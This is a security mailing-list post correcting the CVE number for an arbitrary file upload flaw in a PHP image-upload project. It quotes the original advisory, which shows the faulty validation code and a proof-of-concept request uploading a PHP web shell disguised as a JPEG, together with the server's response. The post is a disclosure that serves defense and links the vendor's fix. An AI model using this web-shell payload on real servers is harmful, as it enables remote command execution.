|
|
Message-ID: <3894D4AF-10B8-46F7-BAF5-C800F8FCFE20@me.com>
Date: Mon, 23 Dec 2019 16:52:05 -0500
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Security <oss-security@...ts.openwall.com>
Subject: Re: Arbitrary file upload vulnerability in upload-image-with-ajax
v1.0
Hello,
An update and a correction.
The CVE number should be CVE-2019-8293. The software author also has fixed the vulnerability:
https://github.com/abcprintf/upload-image-with-ajax/commit/71436ba5102010397519d4b25ea57591cfb4974c
Thanks,
Larry
On 12/23/19, 12:09 PM, "Larry W. Cashdollar" <larry0@...com> wrote:
Title: Arbitrary file upload vulnerability in upload-image-with-ajax
Author: Larry W. Cashdollar
Date: 2019-12-16
CVE-ID:[CVE-2019-8292]
Download Site: https://github.com/abcprintf/upload-image-with-ajax/
Vendor: adcprintf
Vendor Notified: 2019-12-16
Vendor Contact: wh.cprintf@...il.com
Advisory: http://www.vapidlabs.com/advisory.php?v=211
Description: upload-image-with-ajax
Vulnerability:
The code below changes the $ready flag to true if the file conforms to the size of < 1000000. Reversing the check that the file is an image. So, a .php file can be uploaded with only a warning allowing code execution.
$ready = false;
if((($imageType == "image/jpeg") || ($imageType == "image/jpg") || ($imageType == "image/png"))&&in_array($fileExt, $validext)){
$ready = true;
}else{
echo "was not an image
";
/You should abort the upload right here/
}
if($_FILES["fileUpload"]["size"] < 1000000){
$ready = true;
echo "file size is ".$_FILES['fileUpload']["size"]."
";
}else{
echo "file was TOO BIG!";
}
Exploit Code:
$ ./fileupload_exploit 192.168.0.3 80 /upload-image-with-ajax/upload.php
POST request size is 469 bytes
Sending Payload:
POST //upload-image-with-ajax/upload.php HTTP/1.1
Host: 192.168.0.3
User-Agent: File Upload Exploiter/v1.2
Accept: */*
Content-Length: 237
Content-Type: multipart/form-data; boundary=------------------------c8e05c8871143853
--------------------------c8e05c8871143853
Content-Disposition: form-data; name="fileUpload"; filename="shell.jpg"
Content-Type: image/jpeg
<?php $cmd=$_GET['cmd']; system($cmd);?>
--------------------------c8e05c8871143853--
HTTP/1.1 200 OK
Date: Mon, 16 Dec 2019 04:39:56 GMT
Server: Apache/2.4.25 (Debian)
Content-Length: 37
Content-Type: text/html; charset=UTF-8
file size is 42<br>upload successful!
[+] Total bytes read: 185
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.